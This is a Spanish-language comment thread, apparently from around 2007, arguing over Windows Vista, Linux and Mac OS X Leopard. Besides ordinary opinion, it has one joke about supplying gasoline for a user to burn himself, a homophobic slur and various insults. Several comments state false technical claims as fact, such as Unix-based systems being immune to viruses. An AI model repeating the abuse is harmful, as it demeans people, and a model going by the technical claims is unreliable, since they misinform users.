En definitiva solo se trata de eso. Como te he relatado al principio he usado muchos sistemas operativos y en todos he tenido problemas, pero en ninguno de ellos he tenido problemas absurdos que si he tenido en linux.

Solo dos de ellos:

1- Dependencias. Quiero instalar el rpm A. Pero necesita B. Asi que instalo B. Pero B necesita a C. Lo hago, y resulta que no puedo instalar A porque es incompatible con C. Manda huevos. Eso me pasaba la otra vez que intenté hacerme con linux. Y me ponia de los nervios.

2- Consola. La dichosa consola. No quiero tocar la consola. Estamos en el siglo XXI, quiero instalar el emule, no quiero compilarlo, no hay un setup?

Porque no?

Y acabo: No estoy en contra del linux. Es que es demasiado abierto. Esta bien que sea abierto en root. Pero en usuario no lo necesito. Le falta mucho para estar al alcance de todos. Que es a lo que deberia aspirar un S.O. Eso creo yo al menos.

YA ACABASTE?

Ahhhhhh que rico gracias.

Comentarios van, comentarios vienen, pero, ¿Qué hemos logrado con acceder a ésta página web? ¿Hemos llegado a una situación concreta? Muchos admiradores de Linux (véase "Linuxeros") se defienden con el único recurso táctico que tienen: la seguridad. Pero, la seguridad, aunque es uno de los puntos que debemos tener en cuenta antes de adquirir un equipo nuevo, no lo es todo. Windows presenta también varios puntos a su favor. Por ejemplo, Linux no es superior a Windows en cuanto a su interfaz. De hecho, Linux impresiona porque no hay muchas computadoras con ese SO, es algo que no se ve a diario. Tuve una Macintosh en el año 2000, trabajaba muy lento, tení­a muchos errores, su abanico de programas era muy reducido. Windows 98, en cambio, trabaja mucho mejor. Pero, ¿Por qué la familia Windows se ha desarrollado tanto? ¿Será acaso porque como dicen los "Linuxeros" Windows es malo, inseguro y deficiente? ¿Es por esa razón por la que Windows es el SO multicompatible, más vendido y conocido de los tres? No hay mucho que pensar. La respuesta es que Windows trabaja muy bien, de hecho, Macintosh, como ya he dicho antes, tarda demasiado cargando fotografí­as e imágenes. Para los admiradores de Macintosh, ahí­ hay un punto a debatir. Aero de Windows, equipa muchos temas atractivos visualmente y combinaciones de colores que, en cuanto los vemos, llaman la atención. Ahora bien, con Flip 3D de Aero, podemos desplazarnos de una manera muy eficiente entre las ventanas. Con la vista previa de las ventanas, no es necesario maximizarlas para observar su contenido. Los Gadgets de Windows SideBar (llamados Widgets en Macintosh, aunque de menor eficiencia en comparación con los Gadgets de Windows, claro) nos permiten acceder al mundo multimedia de una forma eficaz y divertida. En Mac OS X, hace falta una barra inferior que se vea permanentemente, por lo que se nota "incompleta" la "pantalla pricipal" (llamada en Windows "Escritorio"). Con un par de trucos, podemos ver multicolor la Barra de Tareas de Windows. Las nuevas herramientas de búsqueda nos permiten agilizar las tareas y, cabe mencionar que, también se pueden hacer búsquedas desde el Menú Inicio. Ahora vayamos al mundo multimedia. Con Windows Media Center podemos sintonizar programas televisivos en vivo, disfrutar de videos, música e imágenes con la tecnologí­a avanzada de la tarjeta de video que requiere Windows. Ahora bien, con el Reproductor de Windows Media 11 para Windows Vista, podemos de disfrutar de música en cualquier códec de audio y con un sonido de buena calidad. Mucha gente piensa que las caracterí­sticas visuales de Windows son "copiadas" de sus rivales. Pero, en el último de los casos, si así­ fuera, son copias muy eficientes, de hecho, hasta serí­an versiones mejoradas ¿no? Es muy probable que más de la mitad de los Reproductores MP3 como el iPod (perteneciente a la familia Macintosh) sean conectados y usados con Windows. Ahora bien, Windows, aunque, rara vez se torna inestable contamos con el Administrador de Tareas de Windows, que nos permite finalizar, ejecutar y/o pasar a inactividad algun proceso. Así­ que contamos con todo lo necesario para realizar tareas. Mencionan antes que Windows es para principiantes. Eso es, en parte, cierto. Windows cuenta con muchos programas, aplicaciones y verisones para principiantes. De ahí­ parte Windows Vista Starter. Linux en cambio, se "encierra" o se limita a atender usuarios con cierta experiencia en computación. Por eso menciono que Windows es multifuncional. No hay más por el momento, con ésto ya no es necesario decir más que...

¡Windows Vista!

me sorprende que en un sitio como este tan masificado no tengan control sobre los trolles

observen este foro: mukamikaze.foros.ws, ahi que mejor ni se acerque un troll, me sorprendio como los controlan, asi que vere si puedo hacer un tema sobre S.O sin flames

ni esas cosas. chao definitivamente, me voy a un foro libre de trolles

antes de irme aclaro que windows no es el sistema operativo mas usado, existe uno que casi duplica a windows en usuarios, investiguen cual jajaja windows no es el mas usado y el nucleo de ese sistema esta basado en unix

Rebelión

impresionante el linux

Hombre, si todo el mundo sabe que Windows es el sistema operativo más usado, eso está fuera de toda duda. De todas formas el señor Destroyer y otros han transformado esto en una guerra santa ¡Como si les fuera la vida en ello! Repito que están de atarlos, como dije antes.

Destroyer ya avisó que piensa quemarse a lo bonzo en una plaza pública, en repudio a los de Redmont. Solicita cooperacion en forma de cobustible y cerillos. Yo donaré 20 litros de gasolina para que no quede ni rastro del capullo ese.

Windows monopolio.... en cuanto a nivel de empresa son listos, aunque arrastren un sistema operativo petado de fallos durante años. Se usa por que se establecio como standart antes que cualquier otro (por desgracia para nosotros)

Linux perfeccion de sistema, un corazon de piedra que lo aguanta todo, lastima que no haya tantos desarrolladores profesionales y que las empresas de software grandes (como las de edicion de audio) solo programen para win y mac. Si hubiera soporte de VSTs en linux otro gallo cantaria....

MacOs ideal, lo que windows debio ser y nunca sera. Un ordenador a nivel de usuario y para trabajar, con un entorno SUPER COMODO y SUPER ACOGEDOR. Sin contar aparte el rendimiento que se le saca a una maquina con este sistema operativo..... aplastante, y como decian por ahi arriba, para uso profesional es el mejor SIN LUGAR A DUDAS. (Quitando las redes servers etc en las que linux es la salvacion de cualquier admin xD)

Salu2 !!!!!

¿Linux perfeccion de sistema? ¿Estas bebido?

Ningún sistema operativo es perfecto. Por lo pronto el único que se acerca es Mac: potencia, funcionalidad, estética.

Que jotitos son los que defienden a Windows, no les gusta que les digan sus verdades, y luego se hacen los santurrones diciendo "hay miren esos del Linux que feo hablan" "hay yo no me junto con ello no"

Que delicados me salieron.

Bill Gates es sólo uno más de los plutócratas que rigen el mundo. No es ni el más peligroso, ni el más desalmado, y ni siquiera es el más poderoso (¿qué tal como candidato a estos puestos el vicepresidente Cheney, apoyado por la Casa Blanca y los petroleros de Houston, a la vez que están devastando un paí­s para quedarse su petróleo? ¿no deberí­amos guardar un poco de hostilidad para él?). Todos aquello que creen que si Bill Gates cayera, y Microsoft acabase en la ruina, el mundo serí­a mejor, se equivocan de medio a medio. El mundo tiene muchos problemas y muy gordos, y que el prompt (la lí­nea de comandos) esté en desuso es igual de grave que que hoy en dí­a nadie sepa jugar al Tetrix.

¡Larga vida a Solaris!

podrian ayudarme por favor a chatear no se aser nada

escribiendo desde Mac OS X 10.5 Leopard 9A527:

[sin comentarios sobre el sistema k uso]

ahh, actualicen el video del aqua del leopard, veanlo y dejense de "chalauras" de windows (que es lento y da problemas mac os x??? de donde te lo inventas luis?????si hablaramos de windows...)

linux mu bueno pa los k esten hartos de windows y use PC's, un señor S.O. pero mac os x es mac os x....

Oiga, ne pordrian decir como instalar eso de XGL y compiz, tengo ubuntu 7.4 y quierto mejorar la interfaz, por eso quiero q me dign de donde y como instalar XGL/Compiz. y tambien si saben, he oido que hay algo para poner el estilo de las ventanas como windows vista, me gustaria saber como, gracias

en mi opinion el Mac Os es mucho mejor que todos por sino se habian dado cuenta le windows vista y ellinux son los dos las copias del Mac Os

metanse a esta pagina esta bkn

http://vale3.un-clic-por-el-bosque.com

Mac Os X lejos el mejor sistema operativo. Y Leopard es alucinante.

en mi pc por desgracia, tengo windows por culpa de la gente ignorante que no sale de eso, ademas de que uso programas en las que sus versiones solo salen para ese mal de so, tengo desde win 98 hasta vista, ademas de ubuntu, suse, debian y mac osx en un disco de 500 gb, mi veredicto es, de todos los windows, ninguno vale ma.., de mac y linux, la ubuntu claro, pues doy un empate la vdd, son 2 grandes so, el mac si tienes una buena pc, jamas se colgara

Los tres son buenos, aunque la pregunta seria para que quieres usar la pc? que lo mas importante es lo que produces, tu trabajo, creatividad, lo demas es adorno y parafernalia, mejor comprensen un xbox 360 si lo que quieren es divertirse o si quieren un entorno acojedor pinten de un bonito color o coloquen una plantita,para mi lo mas importante es mi trabajo final usando cualquiera de los tres.P.D hay cosas mas importantes en la vida que windows o linux.

He leí­do todos los comentarios y es muy divertido como los fanáticos de Linux juran y casi matarí­an a su propia madre por defender a Linux, dicen que Linux es lo mejor por bla-bla y hasta ingeniero, baya, puro dizque intelectual, la crema y nata me supongo, pero si es cierto que hay algunas cosas mejores a criterio entonces deberí­an usar una bicicleta que es en mucho mejor y mas barato que un carro, además no contamina, y haces ejercicio, ese si seria un buen argumento no creen ?

Muy bien dicho, Smith.

"hay cosas mas importantes en la vida que windows o linux".

Totalmente de acuerdo. Una de esas cosas es Mac.

MAC LEOPARD LO MEJOR ES ALUCINANTE

holaa todops quiza sea un poco ignorante sobre algunos de los temas q hablan alla rriba pero en un seminario q recibi hace poco me ahce ver q el MAC X LEOPARD es una plataforma grandioso ya q puedes trabajar nu solo con el DD de tu PC sino tambien te brinda una DD virtual y tam,bien parece como DD los porgrams de youtubi y google asi qme parece loco ps ya q el DD virtual q me ofrecxe este sistema es bacan ps ya q puedo almacenar hasta 1.50 TERAS .. o sea algo mas q el GB q tengo en mi pc y corre a full hasta en un P2 si alguien sabe mas de esto nus e olviden mi correo es jalcman@hotmail.com y me dicen si estoy equivocado con estos datos....y si alguien me sigue o por ahi alguiensabe donde encuentro su instaldor bacan yo hago las p`rubas correspondientes para la gente q se quiere habientar alo nuevo ya q el win xp de microsof se va en picada ..si este nu hace un cambio en su window VIENNA q se publica en breves .. saludos amigos

Hay que ******, unos usando el nick de otros, que pateticos y desfasados como smith. Los usuarios de Windows son los que parecen andar en bicicleta.

Quien tenga dinero comprese una mac.

Quien quiera tener un buen equipo, y digo un muy buen equipo use Linux

http://www.ubuntu-es.org/ubuntu/introduccion

http://www.debian.org/index.es.html

Los que quieren windows, les gusta la vida cansada, llena de virus y expuestos a ser clientes de la pirateria, ademas que Windows no es un SO, es una libreria de DLL's.

Yo a puesto por linux, ademíƒÆ’í†â€™íƒâ€ší­Â s que lo encuentro muy sencillo de usar, solo hay que acostumbrarse y ya.

"Quien quiera tener un buen equipo, y digo un muy buen equipo use Linux"

Se ve que no sabes distinguir el hardware del software

Mac es lo mejor, la integración perfecta entre software y hardware. Y ahora con leopard, es realmente impresionante. No tengo duda de que voy a coprar cuando tenga los suficientes ahorros.

REALMENTE PIENSO QUE UBUNTU ES BUENO YO TENIA WINDOWS XP Y AHORA TENGO WINDOWS VISTA ULTIMATE PERO HASE P0CO COMPRE UN PC QUE TENIA WINDOWS XP LE HISE EL FORMATEO Y LE INSTALE UBUNTU LA PC PENTIUM 4 CON 752 MB DE RAM Y UBUNTU FUNCIONA A LA PERFECCION

NO SOLO ES MEJOR QUE VISTA ULTIMATE SI NO QUE TIENE TODO TIPO DE PROGRAMAS Y LO MEJOR ES QUE NO PAGAS NINGUN TIPO DE LISENCIA AHORA SI QUIEREN CAMBIAR A UBUNTU SE LO RECOMIENDO ES FASIL BAJARLO WWW.UBUNTU.COM LO BAJAS DESPUES BAJAS UN PROGRAMA QUE COMVIERTA LA IMAGEN EN( ISO)

LA QUEMAS Y YA TIENES UBUNTU PARA INSTALAR TIENES QUE SEGUIR CUIDADOSAMENTE LOS PASOS QUE DISE POR QUE HAY PC QUE NO TE DEJAN INSTALARLO PERO SI TIENES UN POCO DE PASIENCIA LO LOGRARAS SE LO RECOMIENDO A LOS QUE TIENEN WINDOWS DE TODAS LAS VERSIONES UBUNTU TIENE PARA USAR DIFERENTES IDIOMAS ESO ES LO MEJOR Y APARTE AL TERMINARLO DE INSTALAR CUANDO ENTRAS A LA RED AUTOMATICAMENTE TE DISE QUE HAY ACTUALISACIONES DISPONIBLES ES REALMENTE INPRECIONANTE QUE UBUNTU SEA LIBRE LO RECOMIENDO

AHORA LO QUE DISEN QUE MAC ES LO MEJOR POSIBLEMENTE SI PERO REALEMENTE ES MUY CARO UNA MAC DESPUES SIGUE WINDOWS QUE ES UN PRECIO RAZONABLE PARA UN SISTEMA QUE SE CONGELA A TODA HORA PERO CON UBUNTU ES GRATIS LO PUEDES MODIFICAR HAY TODA CLASE DE PROGRAMAS DISPONIBLES EN LA RED PARA LINUX UBUNTU SI QUIERES UNS COPIA DE UBUNTU YO TE LA MANDO SOLO ESCRIBE A PACHECOXNRD@YAHOO.COM Y TE LA MANDO

Mac no es tan caro como dices, ya que debes considerar que te ahorras una importante cantidad en la mantención. Un mac lo enciendes y a trabajar. Es fácil de usar. Hardware y software integrados a la perfección. Una inversión para los que saben de calidad.

No Romualdo, estas equivocado, el Mac es EXEXIVAMENTE CARO, sobre todo en Latinoamerica. Si quieres ahorrar, con Linux (Ubuntu o el que quieras)

te ahorras una enorme cantidad de dinero en licensias y mantenimiento.

Leopard es para mi el mejor. Su estética y poderí­o justifican su precio. Por algo Mac es el preferido de las empresas de diseño.

Tú te equivocas.No es excesivamente caro. Vivo en Chile y se pueden encontrar hasta en las tiendas por departamento. Yo poseo un g4 silver y un Macbook con procesador Intel. Trabajo en edición de ví­deo y multimedia, y no tiene rival en ese campo, por lo que la diferencia de precio - que no es tan notable, eso es un mito - se justifica plenamente.

para cibergon, nada que ver, otra cosa deseguro usas linux para ver porno y chatear,muy bien, jajaja,que divertido eres.

totalmente de acuerdo con el anterior, ya que no hay aplicaciones estandar profesionales en Linux. No queda otra que ver porno y chatear.

En linux podes emular a windows por un programa ademas d poder hacer funcionar windows adentro d linux

osea vas poder hacer casi todo

pero eso si, es mejor q windows, solo q no tiene quien cree programas :S

pero windows apesta

virus cuelgues te vuelve loco

ademas siempre pide una maquina mas potente

asi cambias tu maquina seguro todo esta arreglado entre las grandes empresas y windows

¬¬

Bueno para poder tener una discucion un poco mas academica debemos analizar los tres sistemas. el primero windows es una plataforma muy funcional llega aser rapida con el hardware apropiado, pero es bastante malo por las siguientes razones: mas de un millar de virus que claro esta no le entra alos SO escritos sobre UNIX como Linux y Mac X, no es recomendable usar windows con hardwuare de gama baja ya que podemos llegar a colgarlo, claro la interfaz grafica del vista es muy atractiva pero no para usar ni en ordenadores de gama baja ni media solo de alta, un punto a favor y muy a favor que tiene este sistema operativo es microsoft office es uno de los mejores programas de oficina, ademas la mayoria de juegos solo corren en este sistema LA MAYORIA, pero con procesos largos win no es muy bueno, a lo que me refiero es que no es lo mismo editar video en un win que en un os x, en la red puede ser rapido pero no tanto como para superar a un linux o un os x, y como todos sabemos para servidores siempre sera mejor un GNU. Si analizamos el "interior" del win vista nos vamos a dar cuenta que esexactamente lomismo que un 98/me/2000/xp lo unico que cambia es el entorno grafico y la compatibilidad con algunos software.Otra de las cosas no tan buena que tiene windows es su rendimiento, no podemos pretender andar al maximo con el bajo trabajo que le da windows a nuestro procesador. En conclusion windows es un completo fias co y le duele al bolsillo.

Ahora pasemos a Linux, este es un sistema bastante bueno, claro para servers, juegos, compiladores, etc. pero no podemos pretender realizar edicion de video fotografia o television de alta definicion, aunque este esun sistema que explota de manera impresionante un procesador, ademas una ventaja que tiene es que totalmente compatible con cuualquier tipo de hardware, algunas versiones no necesitan instalacion, tampoco sufre del tipico problema de windows del virus por estar escrito sobre UNIX. un punto en contra del linux es el desarrollo de software, obviamente no vamos a encontrar la misma funcionalidad en software de GNU contra el software privativo, y no porque sea malo, sino por la falta de desarrolladores para este sistema. ademas me parece estar de acuerdo con linux en euna cosa y es un GNU definitivamente toda clase de software deberia ser GNU pero muchos inescrupuloso como los de Microsoft y apple solo son unos abaros. en conclusion Linux es un excelente SO es mucho mas que windows ademas tambien es recomendable para el bolsillo ademas de los tres sistemas en cuestion el de mejor interfaz es linux el uso de los escritorios es magnifico.

Ahora pasemos a un gigante Mac, catalogado como el mejor sistema operativo del mundo, y eso se debe alas siguientes razones: es el que mejor explota un procesador lo trabaja hasta la ultima gota, sucede lo mismo con la ram, aceleradores graficos targetas de red y todo hardware que se le integre, este es otro que por estar sobre Unix es impenetrable, por su gran funcionalidad es el mejor para laedicion de video fotografia video en alta definicion edicion de sonido y edicion de dvd, Mac no se ha convertido en el mejor solo por estas razones, tambien esta el avance tecnologico que no ha logrado no Microsoft ni Linux y es que ellos saben integrar todo en una sola maquina targeta airport, bluetooth, infrarojo, todo en una pequeña muy pequeña cajita que solo es saque einstale. en conclusion el mejor de los tres es Mac y aunque leduele mucho pero mucho al bolsillo realmente avalo que vale la pena, vale la pena comprar esta joya

ESPERO HAVER SIDO DE AYUDA y haver aclarado algunas dudas

Bueno para poder tener una discusión un poco mas académica debemos analizar los tres sistemas. el primero windows es una plataforma muy funcional llega a ser rápida con el hardware apropiado, pero es bastante malo por las siguientes razones: mas de un millar de virus que claro esta no le entra a los SO escritos sobre UNIX como Linux y Mac X, no es recomendable usar windows con hardware de gama baja ya que podemos llegar a colgarlo, claro la interfaz grafica del vista es muy atractiva pero no para usar ni en ordenadores de gama baja ni media solo de alta, un punto a favor y muy a favor que tiene este sistema operativo es microsoft office es uno de los mejores programas de oficina, además la mayorí­a de juegos solo corren en este sistema LA MAYORIA, pero con procesos largos win no es muy bueno, a lo que me refiero es que no es lo mismo editar video en un win que en un os x, en la red puede ser rápido pero no tanto como para superar a un linux o un os x, y como todos sabemos para servidores siempre será mejor un GNU. Si analizamos el "interior" del win vista nos vamos a dar cuenta que es exactamente lo mismo que un 98/me/2000/xp lo único que cambia es el entorno grafico y la compatibilidad con algunos software.Otra de las cosas no tan buena que tiene windows es su rendimiento, no podemos pretender andar al máximo con el bajo trabajo que le da windows a nuestro procesador. En conclusión windows es un completo fiasco y le duele al bolsillo.

Ahora pasemos a Linux, este es un sistema bastante bueno, claro para servers, juegos, compiladores, etc. pero no podemos pretender realizar edición de video fotografí­a o televisión de alta definición, aunque este es un sistema que explota de manera impresionante un procesador, además una ventaja que tiene es que totalmente compatible con cualquier tipo de hardware, algunas versiones no necesitan instalación, tampoco sufre del tí­pico problema de windows del virus por estar escrito sobre UNIX. un punto en contra del linux es el desarrollo de software, obviamente no vamos a encontrar la misma funcionalidad en software de GNU contra el software privativo, y no porque sea malo, sino por la falta de desarrolladores para este sistema. además me parece estar de acuerdo con linux en una cosa y es un GNU definitivamente toda clase de software deberí­a ser GNU pero muchos inescrupuloso como los de Microsoft y apple solo son unos avaros. en conclusión Linux es un excelente SO es mucho mas que windows además también es recomendable para el bolsillo además de los tres sistemas en cuestión el de mejor interfaz es linux el uso de los escritorios es magní­fico.

Ahora pasemos a un gigante Mac, catalogado como el mejor sistema operativo del mundo, y eso se debe alas siguientes razones: es el que mejor explota un procesador lo trabaja hasta la ultima gota, sucede lo mismo con la ram, aceleradores gráficos tarjetas de red y todo hardware que se le integre, este es otro que por estar sobre Unix es impenetrable, por su gran funcionalidad es el mejor para la edición de video fotografí­a video en alta definición edición de sonido y edición de dvd, Mac no se ha convertido en el mejor solo por estas razones, también está el avance tecnológico que no ha logrado no Microsoft ni Linux y es que ellos saben integrar todo en una sola maquina tarjeta airport, bluetooth, infrarrojo, todo en una pequeña muy pequeña cajita que solo es saque e instale. en conclusión el mejor de los tres es Mac y aunque le duele mucho pero mucho al bolsillo realmente avalo que vale la pena, vale la pena comprar esta joya

ESPERO HABER SIDO DE AYUDA y haber aclarado algunas dudas.

Hola creo que a mi criterio Ubuntu es una imitacion completa de MAc oS X aunque mac os X continuara siendo en padre de todos los sistemas opertivos y todos los sistema oparativos siempre continuaran imitando a MAC OS X, creo que linux le debe respeto a MAC es el padre y continuara siendo el padre de todos Los SO creo que es el unico sistema operativo Original en todo(No imitacion), aunque linux tiene la ventaja que es libre y sigue evolucionamdo poco a poco pero creo que deberia ser un poco mas original (me gusta como es para trabajar en redes)

Andre ¿te refieres a Ubuntu o a su entorno GNOME? Primero informate antes de hablar

ale ale acuestateee^^

Leopard es lo mejor.

mis respetos para linux

Donde puedo conseguir este sistema operativo?????

Enviar Respuesta a: union_1906@hotmail.com

"Donde puedo conseguir este sistema operativo?????"

En internet atontao

Mac le gana de lejos a todos los demás. Linux es solo un pariente pobre de la informatica.

a huevo el mejor es LINUX es el papá de todos los sistemas operativos tiene miles de ventajas a favor de los otros dos chiquitines que solo aparentan ser un SO pero no son mas que novatos

"LINUX es el papá de todos los sistemas operativos"

JAJAJAJAJAJAJAJA

Deja las drogas o deja internet!

Increible que quieran comparar Linux con MACOS ,

al señor informatico se nota q no sabe nada, mac es un sistema operativo para diseño y arquitectura ese es su fuerte, pero linux y unix son los reyes de servidores para aplicaciones de negocios y nunca pero nunca se cuelgan repito NUNCA, yo mismo tengo instalados 5 servidores redhat con raid y toda la cosa y ningun sistema operativo se puede comparar conestos si lo que quieren comparar es los grafiquitos eso es distinto ahi si es otra cosa, ademas el macos fue el que ahora se basa en unix para hacer su sistema y es verdad es muy bueno pero para lo q ya se mensiono y tambien para usuarios nuevos o novatos en pc,

si eres usuario avanzado e informatico nunca pero nunca usaras macos

y si no visiten las paginas de sun, ibm y vean que usan las estaciones de trabajo seguro no usan mac, IDE de desarrollo no se usan en mac .

por eso dificil comparar mac para diseño y arquitectura no mas

linux para todo lo que quieran, y windows para jugar (excepto el server ese es bueno)

ahora si lo que quieren comparar hardware eso ya es otra cosa me quedo con lenovo(resistente a golpes agua, etc por mi trabajo es lo mejor para mi) pero un diseñador se quedara con MAC, pero un jugador extremo o un diseñador de multimedia seguro ira por alienware

por ultimo alguien a visto una mac con 64 cores ???

seguro que no, eso es linux o aix(unix)

el soporte de hardware de linux y unix son incomparables en servidores asi que no comparen hardware ya que linux y unix son otra cosa

No hay Photoshop para Linux

No hay Final Cut para Linux

No hay Autocad para Linux

Aparte de eso si reconozco que es bueno para hacer labores de triste firewall olvidado en un rincón.

Lo mejor que he visto es Mac. No tiene comparacion en cuanto a su integracion software-hardware.

asi que en conclusion general serí­a que

para un diseñador general MACOS

para PROGRAMADORES y desarrolladores LINUX

para JUEGOS Windows???? o Windows para enseñarle a mi abuelita a usar la pc?

¿En serio no sabes Erick donde conseguirlo? ¿no sabes usar google? y tu ersotito, hay alternativas libres para todo eso que dices y mas, pero esos programas que mencionas no los usa un usuario promedio.

epale panas tengo windows xp en una portatil y de verdad que me parece bastante lento.. :S tengo varias preguntas para ustedes que conocen mas del linux.. ya que yo nunca lo e usado y orita es que tengo esa duda de como sera.. e visto video y su aspecto se ve bastante agradable!

el problema es que yo trabajo con musica! (grabacion)

y con programas electronicos que me imagino que no abra problemas para instalarlos..

mi pregunta es: sera que si es estable y seguro para la grabacion de musica!??

y para que me saquen de la ignorancia.. se puede instalar CUALKIER PROGRAMA de kualkier cosa? o tiene restricciones?? por ejemplo hay uno que uso que es el SONY ACID Pro. no dara errores al instalarlo :S

espero que me respondan y gracias panas!

soy de venezuela y aki todo orita es con linux

como paso en china! ;)

si pueden respondan tambien a mi mail

luis_fernando_Santana@hotmail.com

graciasssssss!!!!

Después de leer este post y sus comentarios, más otros del mismo estilo, y algún que otro estudio serio y muy técnico sobre Windows Vista, me he decidido a probar Linux, como un usuario de Windows que (casi) no sabe nada de este Sistema Operativo y (casi) se enfrenta a él como alguien que no tiene conocimientos previos.

Mi experiencia podréis seguirla en

http://usandolinux.blogspot.com

Leyéndolo, los usuarios de Windows quizá podréis tener una idea acerca de lo que os vais a encontrar.

A los felices usuarios de Linux, quizá os recuerde vuestros comienzos, y puede que os sirva para realizar una pequeña cura de humildad.

"esos programas que mencionas no los usa un usuario promedio".

Has visto alguna vez un fotolog?

En Chile somos el páis con más fotolog del mundo.

Sus usuarios son jóvenes y adolescentes en su mayorí­a y utilizan Photoshop para editar sus imágenes. Hace rato que dejó de ser un programa de elite.

En cambio, trabajar con repositorios y el terminal definitivamente no es de "usuario promedio".

Bueno, primero que todo para todos los mensajes anteriores que hablan que un mac es para novatos están muy equivocados , por historia, o mas bien por cultura general, deberí­an saber que el primer sistema en usar ventanas fue un mac, el primer sistema en usar un ratón o mouse fue un mac, mac es el pionero de los sistemas. Claro todos los tres sistemas son buenos en muchas cosas diferentes o parecidas, por ejemplo para redes ovbiamente es mejor linux, para gamers, mejor windows, y para editores de ví­deo fotografí­a multimedia televisión música etc. pues un mac, no podemos ir por ahí­ diciendo "mac es para novatos" por favor que insulsos e incoherentes que pocos conocimientos, lo digo yo un chico de 15 años que ha tenido la oportunidad de tener los tres sistemas en la misma maquina, los tres son muy funcionales, por favor en que se ha convertido esteforo en personas que solo expresan odio hacia otros S.O sin siquiera haberlos probado, bueno si, si en algo estoy desacuerdo CON TODOS LOS QUE HAN ESCRITO EN ESTE FORO es en que windows es un fiasco, pero el unico favor que les pido es que antes de opinar piensen bien lo que escriben

INFÓRMENSE PORFAVOR

no ps esta a toda madre el liunux

perdón quise decir esta a toda madre el mac

otra vez me disculpo, quise decir esta a toda madre el Vista.

"...que windows es un fiasco..."

¿Ah, sí­? Pues en ese caso es un fiasco que utiliza casi el 100% de los usuarios mundiales de pcs ¿son todos tontos que siguen usando un fiasco, a pesar de las alternativas?

Yo creo que tu cerebro es un fiasco

Hola!

bueno todos estos sistemas cada vez mas buscan llamar la atencion con sus efecto sy sus cosas bonitas vaa!!!

el q empezo con el aspecto elegante y el buen diseño fue mac... aparte de eso el windows vista esta se ha super copiado de mac os X se nota mucho!!! bueno cada uno q saque sus conclusiones...

mac os X = el divertido

windows vista = quiere entrar al mundo multimedia y se quiere volver bonito vaaa!!!

Linux = el buen aprendiz!

la verdad es que en el video linux se espectacular

PERO en comodidad y compativilidad de programas es mejor mac osx

aparte

para darle esos efectos a linux

hay q saber usarlo muy bien

es muy complejo

en cambio mac osx es lindo y rapido

y windows vale p...

Linux, si es gratis, tiene muchos programas, pero no de ja de fastidiarse y desconfigurarse constantemente y ante cuelgues inesperados mas vale reinstalarlo y lo peorcito, la incompatibilidad o mal funcionamiento de drivers graficos con sus entornos compiz-fusion o beryl.

Windows VIsta, si, muy bonito, aparentemente cuida mas la imagen que los anteriores windows, pero finalmente la única novedad es q pide mas recursos e incluye el directx 10 para los videojuegos, q aparte pide demasiada máquina para poderlos renderizar de un modo aceptable.

MacosX Leopard, la gran maravilla, y no solo por su estabilidad, velocidad cas instantanea de ejecucion de programas y nitidez de imagen de sus pantallas y velocidad de renderización de sus ordeandores, si no poruqe tiene programas para todo q funcionan a la perfección, aunan en un solo sitematodo lo bueno de windows y todo lo bueno de linux y lo mejor se basa en unix lo cual da una fiabilidad extrema.

En resumen, sistema muy completo, perfecto funcionamiento, cuelgues prácticamente nulos, máquina y sistema perfectamente compenetrados. Software de todo tipo. Incluso se aprovecha del software para linux (X11), y de los videojuegos para windows (cydor), y que decir tiene su asombrosa velocidad de navegación por la red.

Ustedes mismos, linux es gratis peor acabará por desesperarles, windows, muchos jueguecitos pero mas cuelgues q un mono, y finalmente Mac, lo mejorcito visto hasta ahora, aunq eso si, en este mundo, señores, lo bueno se paga caro.

hola soy usaurio de linux/gnu concretamente ubuntu 7.10 para el que quiera saber cuanta maquina pide ami me corria perfecto con una 945 mhz con una envydia mx 100/200 o sea un geforce 2 con 512 de ram eso era mi maquina anteriro y coria bien sin culges

aa la errrrr

mm la verrdad yo no me cambiarí­a soy feliz con mi windows:)

"muchos jueguecitos pero mas cuelgues q un mono"

Eso es mentira. Tengo Vista Ultimate y es muy estable.

Yo antes defendia el Vista, pero ayer ya no arranco e instale Ubuntu 7.04 y funciona exelente. Ya le configure el beryl y fue muy facil.

Jose no se que te ha pasado a ti con Linux, pero solo se fastidia y se desconfigura si lo haces a propósito y en los seis meses que llevo con Ubuntu 7.04 y antes con el 6.10 no se lo que un cuelgue, así­ que a mi no me ha desesperado, el Vista por motivos de trabajo si, de los Mac no puedo opinar y no opino.

el de linux es gili, no por nada sino por que no para de moverse.... no es por nada, pero todo lo que hace linux no esta mal... lo de las ventanas en plan gelatina y el cubo mola al principio, luego da dolor de cabeza cuando llevas un rato por no decir que ES INUTIL, mac hace lo mismo sin tantas gilipolleces, por que apple va por el minimalismo, si no es necesario sobra, tantos efectos recargan la vista y cansa trabajar con ellos, y al final spaces hace lo mismo

Linux sin comentarios el video dice todo

Si no fuera por apple alomejor este año es cuendo empezabamos a utilizar el ratón y a ddejarnos de comandos.

Y de precio... no olvidemos a kien se le ocurrio lo de k un ordenador podia ser para la gente corriente

Esos efectos de Linux no sirven para nada, por lo tanto no son una ventaja

woooooooooooooo Linux y Mac me han Dejado boquiabierto alguien me puede decir como puedo conseguir GNU/Linux XGL/Compiz y Mac OS X Leopard se los agradecere

Ademas Windows Vista Ultimate es una Cagadaaaaaaaaaaaaaaaaaaaaaaaaaa

Wooooooooo Linux Es el mejor

y windows es un cagadaaaaaa

sin palabras para linux los supera por mucho, estetica, potencia, funcionalidad y te da los codigos de sus programas y puedes modificar en su totalidad el sistema operativo, no te pide mucho del sistema y lo mas importante es totalmente gratis de hecho puedes pedir que te envien un disco gratis y directito a tu casa todo pagado, creo que esa distribucion es ubuntu.

Bueno muchachos los dejo.

Mac Leopard es insuperable. Perfecta integración de software y hardware. Estabilidad y potencia, por algo se usa en diseño y multimedia. Vista en segundo lugar, por más que les pese a algunos, seguirá siendo el SO más usado. En cuanto a Linux, seguirá siendo una rareza. Mientras no saquen una versión decente y no contradictoria con las demás distribuciones, seguirá haciendo más que nada labores de triste firewall tirado en un rincón.

"...de hecho puedes pedir que te envien un disco gratis y directito a tu casa todo pagado..."

¿Y para qué sirve?

NO HAY PHOTOSHOP PARA LINUX

NO HAY AUTOCAD PARA LINUX

NO HAY FINAL CUT NI ADOBE PREMIERE PARA LINUX

NO HAY ADOBE FLASH PARA LINUX

NO HAY CUBASE PARA LINUX

NO HAY PRO TOOLS PARA LINUX

MAC OS X TIGER, es el mejor....

Solo hay que ver, ke esta informacion es partidista a favor de Linux, 4 minutos de video para linux, 59 segundos para Mac, y mas de lo mismo para Windows.

Y tan solo para ver un cubo dando vueltas.... copiado de Mac.

